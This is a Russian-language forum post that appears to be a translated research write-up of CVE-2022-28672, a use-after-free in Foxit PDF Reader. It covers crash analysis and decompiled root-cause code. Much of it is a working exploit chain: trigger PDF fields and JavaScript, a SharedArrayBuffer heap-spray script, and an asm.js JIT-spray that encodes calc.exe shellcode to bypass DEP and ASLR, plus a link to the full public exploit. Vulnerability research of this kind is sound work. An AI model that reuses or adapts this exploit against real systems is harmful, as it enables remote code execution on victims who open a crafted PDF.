Интро
В этой статье расскажу об уязвимости, обнаруженной при оценке безопасности популярных программ для чтения PDF. На этот раз была обнаружена уязвимость use-after-free и несколько других багов в Foxit PDF Reader во время фаззинга. Мы смогли успешно использовать эту уязвимость для удаленного выполнения кода в контексте Foxit PDF Reader.Об уязвимости
Эта уязвимость позволяет удаленно выполнить произвольный код на уязвимых Foxit PDF Reader. Для использования этой уязвимости требуется взаимодействие с пользователем, т.е. цель должна посетить вредоносную страницу или открыть вредоносный файл.Foxit PDF Reader уязвима перед атакой
use after free
.Уязвимость Use-After-Free (UAF) - это уязвимость типа повреждения памяти, которая может быть использована хакерами для выполнения произвольного кода. Если после освобождения участка памяти программа не очищает указатель на эту память, злоумышленник может использовать эту ошибку для взлома программы. Когда одна часть программы пытается использовать память, которую другая часть программы освободила, потому что она больше не нужна, приложение может аварийно завершить работу, выдать неожиданные результаты или даже позволить злоумышленнику выполнить произвольный код.
CVE ID
CVE-2022-28672Vendor
Ссылка скрыта от гостей
Product
- Foxit PDF Reader 11.1.0.52543 и младше
Crash State
Код:
(cbc.1a9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax = 00000002 ebx = 1c8bef98 ecx = 1c8bef98 edx = 00000000 esi = 24984fa8 edi = 104f8fd0
eip=015a4610 esp=0779a720 ebp=0779a740 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670:
015a4610 8b412c mov eax,dword ptr [ecx+2Ch] ds:002b:1c8befc4=????????
Быстрая проверка с помощью команды
!heap
показывает, что это уязвимость use-after-free
.
Код:
0:000> !ext.heap -p -a @ecx
address 26786f98 found in
_DPH_HEAP_ROOT @ b9d1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
267f0138 : 26786000 2000
6fbdab02 verifier!AVrfDebugPageHeapFree+0x000000c2
76fbf766 ntdll!RtlDebugFreeHeap+0x0000003e
76f768ae ntdll!RtlpFreeHeap+0x0004e0ce
76f662ed ntdll!RtlpFreeHeapInternal+0x00000783
76f28786 ntdll!RtlFreeHeap+0x00000046
045e8fbb FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004e7e4b
045c4f4f FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004c3ddf
044d2b93 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003d1a23
01c3a919 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00287979
01c2de7b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027aedb
01c2d0e6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027a146
01c2c786 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002797e6
01f40448 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0058d4a8
...
Proof of Concept
Тестовый пример включает статические поля формы в PDF и javascript action для манипулирования ими, что приводит к сбою.Статичные PDF поля
Код:
5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_10)
/FT /Ch
/Rect [844 625 413 191]
/Opt [(FK2V7)]
/I [0 1]
/Ff 67379206
>>
throw in
6 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_12)
/FT/Ch
/Rect [553 60 781 220]
/ TU ( AVALAJX9P0 )
/TI 990
/I[01]
/ Ff 1743797713
>>
throw in
7 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_15)
/FT /Tx
/Rect [695 237 690 797]
/ TU ( XA225DZMOZ )
/ TM ( 86P4A4SWL7 )
/MaxLen 1002
/ V ( 5PLOVN0BG2TITMZ89VSATS7VAG94BYVK0TA3PKRRMSJCUFH7SF )
/Ff 45059
>>
throw in
Проблемный JavaScript
C++:
var f0 = this.getField("field_15");
var f1 = this.getField("field_12");
f1.setAction("Format", "callback7()");
this.getField("field_10").setFocus();
function callback0()
{
f1.setItems([1]); // invokes callback7 which frees block of memory
// stale memory access when callback0 ends
}
function callback7()
{
this.deletePages(0); // frees block of memory
}
f0.setAction("Calculate", "callback0()");
this.closeDoc(true); // invokes callback0
Анализ первопричин
При попытке получить доступ к объекту по этому указателю происходит сбой.
C++:
int __thiscall sub_1734610(_DWORD *this)
{
int v1; // eax
bool v2; // cl
v1 = this[11]; // CRASH while deferencing this pointer
v2 = 0 ;
if ( v1 )
v2 = *(_DWORD *)v1 != 0;
if ( v2 && v1 )
return *(_DWORD *)v1;
else
return 0
}
Анализ трассировки стека показывает, что функция
sub_1729070
аллоцирует объект Widget
размером 0x64
при вызове метода setFocus
на this.getField("field_10").setFocus()
в JavaScript.Эта аллокация происходит при вызове функции
sub_1729070
, которая возвращает объекты разного размера на основе проверки типа. В этом случае выполняется условие switch case 5
, в результате чего возвращается объект размером 0x64
.
C++:
int __thiscall sub_1729070(_DWORD *this, int a2, char a3)
{
// ...
// {
if ( a3 )
{
switch ( sub_1A2DB10(a2) )
{
case 1:
LOBYTE(v24) = 3;
v25 = operator new(0x34u);
LOBYTE(v24) = 4;
if ( v25 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_173BDC0(v21[5], a2);
else
v4 = 0;
v22 = v4;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 2:
LOBYTE(v24) = 5;
v26 = operator new(0x34u);
LOBYTE(v24) = 6;
if ( v26 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_1736D60(v21[5], a2);
else
v4 = 0;
v22 = v4;
v21 = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 3:
LOBYTE(v24) = 7;
v27 = operator new(0x34u);
LOBYTE(v24) = 8;
if ( v27 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_173CF80(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[5] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 4:
LOBYTE(v24) = 13;
v30 = operator new(0x54u);
LOBYTE(v24) = 14;
if ( v30 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_1738240(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[2] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 5:
LOBYTE(v24) = 11;
v29 = operator new(0x64u);
LOBYTE(v24) = 12;
if ( v29 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_173A6E0(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[3] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 6:
LOBYTE(v24) = 9;
v28 = operator new(0x6Cu);
LOBYTE(v24) = 10;
if ( v28 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_172E660(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[4] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
default:
v4 = 0;
v7 = 0;
v22 = 0;
break;
}
}
// ...
return v7;
}
Это можно проверить с помощью отладчика.
Код:
0:000> !ext.heap -p -a @eax
address 256caf98 found in
_DPH_HEAP_ROOT @ c911000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
25343444: 256caf98 64 - 256ca000 2000
unknown!fillpattern
6feda8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7723ef0e ntdll!RtlDebugAllocateHeap+0x00000039
771a6150 ntdll!RtlpAllocateHeap+0x000000f0
771a57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
771a53fe ntdll!RtlAllocateHeap+0x0000003e
04608ccc FoxitPDFReader!_malloc_base+0x00000038
043015ec FoxitPDFReader!void * __cdecl operator new(unsigned int)+0x0000002a
01c492d1 FoxitPDFReader!sub_1729070+0x00000261
01c4cb21 FoxitPDFReader!sub_172C7B0+0x00000371
01f60781 FoxitPDFReader!sub_1A406B0+0x000000d1
0118ac87 FoxitPDFReader!sub_C6A710+0x00000577
...
Функция
closeDoc
вызывает дескриптор вычисления для field_15
. Внутри callback вычисления мы устанавливаем свойство items поля выбора field f1, которое имеет зарегистрированный callback
формата. Установка свойства items
вызывает его обратный вызов формата, который удаляет 0ую страницу и потенциально удаляет целевой объект.Когда документ закрывается, вызывается функция
sub_172B3A0
.
C++:
char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2)
{
v2 = this;
v35 = this;
sub_6970E0(&v37);
v39 = 0;
// sub_1729070 returns target object which was already created during setFocus
v4 = sub_1729070(v2, (int)a2, 0);
if ( v4 )
{
// indirect call which also triggers format callback
if ( !(*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) )
{
sub_112B090(&v35, &v37);
if ( v35 != (_DWORD *)v2[9] )
sub_112AFB0(v31, v35);
LABEL_49:
v15 = 0;
// ...
}
// ...
}
// ...
}
Функция
sub_1729070
возвращает целевой объект, который был создан ранее во время вызова setFocus
. Затем этот объект передается в indirect call
(*(unsigned __int8 (__thiscall **)(int, _DWORD ))((_DWORD *)v4 + 80))(v4, a2))
.Затем этот путь кода вызывает
callback
формата, зарегистрированный на field_12
. В рамках callback'a
формата целевой объект освобождается при вызове функции this.deletePages
.Функция
sub_173A900
отвечает за освобождение целевого объекта размером 0x64
, к которому позже обращается sub_1734610
, вызывая аварийное завершение программы.
Код:
.text:0173A900 ; void *__thiscall sub_173A900(void *this, char)
.text:0173A900 sub_173A900 proc near ; CODE XREF: sub_173A8EA+3↑j
.text:0173A900 ; DATA XREF: .rdata:off_48159CC↓o
.text:0173A900
.text:0173A900 arg_0 = byte ptr 8
.text:0173A900
.text:0173A900 push ebp
.text:0173A901 mov ebp, esp
.text:0173A903 push esi
.text:0173A904 mov esi, ecx
.text:0173A906 call sub_173A7E0
.text:0173A90B test [ebp+arg_0], 1
.text:0173A90F jz short loc_173A91C
.text:0173A911 push 64h ; 'd' ;; size
.text:0173A913 push esi ;; ESI - target block
.text:0173A914 call sub_3FD2B88 ;; memory free call wrapper
.text:0173A919 add esp, 8
.text:0173A91C
.text:0173A91C loc_173A91C: ; CODE XREF: sub_173A900+F↑j
.text:0173A91C mov eax, esi
.text:0173A91E pop esi
.text:0173A91F pop ebp
.text:0173A920 retn 4
.text:0173A920 sub_173A900 endp
Эксплуатация
Если мы можем контролировать и перераспределять аллокацию того же размера, мы можем получить прямой контроль над выполнением кода, используя инструкцию call внутриsub_172ADA0
. Это показано ниже:
Код:
eax=41414141 ebx=0e847e88 ecx=0e8c7960 edx=00000000 esi=0e8c7960 edi=00000002
eip=01c2ade1 esp=080fa8dc ebp=080fa910 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x277e41:
01c2ade1 ff5074 call dword ptr [eax+74h] ds:002b:414141b5=????????
Следующий скрипт может быть использован для подбора кучи для аварийного завершения процесса Foxit Reader в контролируемом месте. Во время тестирования было обнаружено, что поддержка
ArrayBuffer
была отключена в Foxit Reader. Вероятно, это сделано в качестве превентивной меры для предотвращения эксплуатации с использованием распространенных эксплойтов javascript, таких как распыление кучи и out-of-bound read/write. Однако было обнаружено, что SharedArrayBuffer
не отключен и может быть использован для той же цели.В распыленных блоках памяти регистр
eax
указывает на начало буфера памяти, а indirect call
по адресу 0x74
указывает на то, что это объект C++ внутри Foxit, где вызывается виртуальный метод. Это может быть использовано для выполнения произвольного кода в контексте процесса Foxit.
C++:
// spray memory allocations
function reclaim(size, count){
for (var i = 0; i < count; i++) {
sprayArr[i] = new SharedArrayBuffer(size);
var rop = new DataView(sprayArr[i]);
// control value for - call dword ptr [eax+74h]
// first dword is pointer to the shellcode
rop.setUint32(0, 0x41414141);
for (var j = 4; j < rop.byteLength/4; j+=4) {
rop.setUint32(j, 0x42424242);
}
}
}
function callback0()
{
// trigger formatCallback on field 1
f1.setItems([1]);
// above call should free block of memory
// we reclaim freed memory by heap spraying of fixed allocations
reclaim(0x58, 0x1000);
reclaim(0x68, 0x1000);
}
Тщательно контролируя процесс распыления кучи с помощью предоставленного скрипта, можно аварийно завершить работу Foxit Reader в определенном месте при вызове виртуального метода. Это позволяет злоумышленнику контролировать состояние объекта и потенциально выполнить произвольный код в контексте процесса Foxit.
Обход мер защиты
Data Execution Prevention (DEP)
Одним из способов обойти DEP и выполнить управляемый пользователем код в памяти является использование return-oriented programming (ROP). Это предполагает объединение в цепочки коротких последовательностей кода, называемых гаджетами, которые уже присутствуют в памяти программы. Тщательно выбирая гаджеты и располагая их в определенном порядке, можно выполнить произвольный код без необходимости прямого вызова распыленного шеллкода. Добиться этого бывает непросто, но существуют инструменты и ресурсы, помогающие в этом процессе.Бага заключается в
user-after-free
объекта на куче, что позволяет нам вызывать произвольные адреса в памяти с помощью вызова виртуальной функции. Хотя распыление кучи с данными, контролируемыми пользователем, возможно, но память кучи не имеет прав на выполнение. Следовательно, мы не можем вызвать шеллкод, распыленный с помощью heap-spraying
.Чтобы обойти
DEP
, нам нужно иметь произвольный read/write примитив и цепь ROP
для создания исполняемого диапазона памяти, которого у нас нет.Control Flow Guard (CFG)
Control Flow Guard (CFG) - это техника защиты от атак, которая предназначена для предотвращения вызова злоумышленниками произвольныхcall sites
. CFG используется для защиты indirect calls
и присутствует в большинстве современных программ. Однако в случае с Foxit программное обеспечение не было скомпилировано с поддержкой CFG, что означает, что злоумышленники могут вызвать любой адрес памяти в адресном пространстве Foxit. Отсутствие поддержки CFG делает Foxit уязвимым для эксплуатации злоумышленниками.Address Space Layout Randomization (ASLR)
В Foxit PDF Reader включена функция Address Space Layout Randomization (ASLR), что означает, что мы не можем использовать какие-либо жестко закодированные адреса в эксплойте для вызова шеллкода. Чтобы обойти ASLR, нам нужен какой-то примитив для утечки информации из кучи (info-leak), но у нас его нет.JIT Spraying в помощь! Обход DEP, ASLR одновременно
Распыление JIT - это техника, которая может быть использована для одновременного обхода Data Execution Prevention (DEP) и Address Space Layout Randomization (ASLR). Foxit, популярная программа для просмотра PDF-файлов, поставляется с движком Google V8 javascript в качестве бэкенда для обработки javascript в PDF-файлах. Тестирование показало, что Foxit уязвим к распылению JIT.JIT, или Just In Time Compilation, обычно используется в движках javascript для повышения производительности путем преобразования байткода javascript в код, специфичный для родной архитектуры. Для этого JIT-компилятор должен создать память с правами чтения-записи-и-исполнения для хранения скомпилированного кода. Существуют различные способы вызова JIT-компилятора в скриптовом движке.
rh0dev провел отличное исследование по распылению JIT, в частности, по использованию функции asm.js в javascript для распыления JIT. Эта техника позволяет злоумышленнику распылять закодированный шеллкод с помощью asm.js, позволяя обойти защиту DEP и ASLR.
-
Ссылка скрыта от гостей
- Github Repository
Код:
0:000> !address -f:PAGE_EXECUTE_READWRITE
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
BaseAddr EndAddr+1 RgnSize Type State Protect Usage
-----------------------------------------------------------------------------------------------
c0000 c5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
140000 145000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
1c0000 1c5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
200000 205000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
280000 285000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
2c0000 2c5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
300000 305000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
...
18c40000 18c45000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c50000 18c55000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c60000 18c65000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c70000 18c75000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c80000 18c85000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c90000 18c95000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18ca0000 18ca5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18cb0000 18cb5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18cc0000 18cc5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18cd0000 18cd5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
...
3fec0000 3fec5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
3ff00000 3ff05000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
Мы можем подтвердить распыление шеллкода, посмотрев на основание любой аллокации над ним.
Код:
0:000> u 18ca0000
18ca0000 e97b470000 jmp 18ca4780
18ca0005 e956470000 jmp 18ca4760
18ca000a cc int 3
18ca000b cc int 3
18ca000c cc int 3
Первый переход - к сгенерированному коду по адресу
18ca4780
, который в нашем случае содержит наш закодированный шеллкод.
Код:
18ca4780 55 push ebp
18ca4781 89e5 mov ebp, esp
18ca4783 6a0a push 0Ah
18ca4785 56 push esi
18ca4786 8b7e17 mov edi, dword ptr [esi+17h]
18ca4789 3927 cmp dword ptr [edi], esp
18ca478b 0f83e5010000 jae 18ca4976
18ca4791 8b7e1b mov edi, dword ptr [esi+1Bh]
18ca4794 8b7f07 mov edi, dword ptr [edi+7]
18ca4797 8b461f mov eax, dword ptr [esi+1Fh]
18ca479a 8b00 mov eax, dword ptr [eax]
18ca479c 68a247b419 push 19B447A2h
18ca47a1 68909090a8 push 0A8909090h
18ca47a6 6831c990a8 push 0A890C931h
18ca47ab 686a3058a8 push 0A858306Ah
18ca47b0 68648b00a8 push 0A8008B64h
18ca47b5 688b400ca8 push 0A80C408Bh
18ca47ba 688b7014a8 push 0A814708Bh
Скрипт распыления JIT был удален для удобства чтения. Полный исходный текст можно найти в эксплойте на GitHub.
C++:
// spray calc.exe WinExec + ExitProcess shellcode
// VirtualAlloc of size 0x5000
function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
{
var script = `
function ${asmJsModuleName} (stdlib, ffi, heap){
'use asm';
var ffi_func = ffi.func;
function ${payloadFuncName} () {
var val = 0;
val = ffi_func(
0xa8909090|0,
0xa8909090|0,
0xa8909090|0,
0xa890d6ff|0,
0xa890006a|0,
0xa890d7ff|0,
0xa851056a|0,
0xa890e189|0,
//...
0xa83c538b|0,
0xa810588b|0,
0xa8ad96ad|0,
0xa814708b|0,
0xa80c408b|0,
0xa8008b64|0,
0xa858306a|0,
0xa890c931|0,
0xa8909090|0,
0x19b447a2|0, //using predicated 19b40000 base
)|0;
return val|0;
}
return ${payloadFuncName};
}
function ${ffiFuncName} () {
var x = 0;
return x|0;
}
for (var f=0; f<0x10; f++) {
asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0));
};
`;
eval(script)
// required to generate jit code
asmJsModulesArr[asmJsModulesArr.length-1]();
}
// spray jit shellcode allocation
// 00005dbc: index to shellcode from the base of the virtualalloc
for (var jitcount=0; jitcount<3000; jitcount++) {
sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);
}
В данном случае для выполнения шеллкода мы используем наилучшее обоснованное предположение 0x19b40000, где находится один из наших JIT-sprays.
Код:
0:025> u 19b40000
19b40000 e97b470000 jmp 19b44780
19b40005 e956470000 jmp 19b44760
19b4000a cc int 3
19b4000b cc int 3
19b4000c cc int 3
В скрипте JIT-spray в качестве начальной точки для шеллкода используется жестко закодированный адрес, полученный из предполагаемого базового адреса
0x19b447a2|0
, // использующего базу 19b40000
. На этот адрес ссылается инструкция call, что можно проверить с помощью отладчика. Это позволяет нам выполнить шеллкод в известном месте памяти, обходя защиты DEP и ASLR.
Код:
0:025> ? 19b44729+74
Evaluate expression: 431245213 = 19b4479d
0:025> dd 19b4479d
19b4479d 19b447a2 90909068 c93168a8 6a68a890
19b447ad 68a85830 a8008b64 0c408b68 708b68a8
19b447bd ad68a814 68a8ad96 a810588b 3c538b68
Выполнение шеллкода должно начинаться с
19b447a2
. Это можно проверить в отладчике.
Код:
19b447a2 90 nop
19b447a3 90 nop
19b447a4 90 nop
19b447a5 a868 test al, 68h
19b447a7 31c9 xor ecx, ecx
19b447a9 90 nop
19b447aa a868 test al, 68h
19b447ac 6a30 push 30h
19b447ae 58 pop eax
19b447af a868 test al, 68h
19b447b1 648b00 mov eax, dword ptr fs:[eax]
19b447b4 a868 test al, 68h
19b447b6 8b400c mov eax, dword ptr [eax+0Ch]
19b447b9 a868 test al, 68h
...
Анализируя декодированный шеллкод, можно увидеть, что он содержит серию валидных инструкций, которые выполняют желаемые действия. Это указывает на то, что техника распыления JIT была успешной и позволила нам выполнить наш шеллкод в контексте процесса Foxit.
Итог
В заключение, данное исследование показывает, что если бы Foxit Reader был скомпилирован с поддержкой Control Flow Guard (CFG), то обнаруженную ошибку было бы сложнее использовать. Однако отсутствие поддержки CFG позволило злоумышленнику использовать распыление JIT для обхода существующих средств защиты, таких как ASLR и DEP. Это подчеркивает важность использования нескольких уровней защиты для защиты от атак.POC
GitHub - hacksysteam/CVE-2022-28672: Foxit PDF Reader Remote Code Execution Exploit
Foxit PDF Reader Remote Code Execution Exploit. Contribute to hacksysteam/CVE-2022-28672 development by creating an account on GitHub.
github.com
Demo
Последнее редактирование модератором: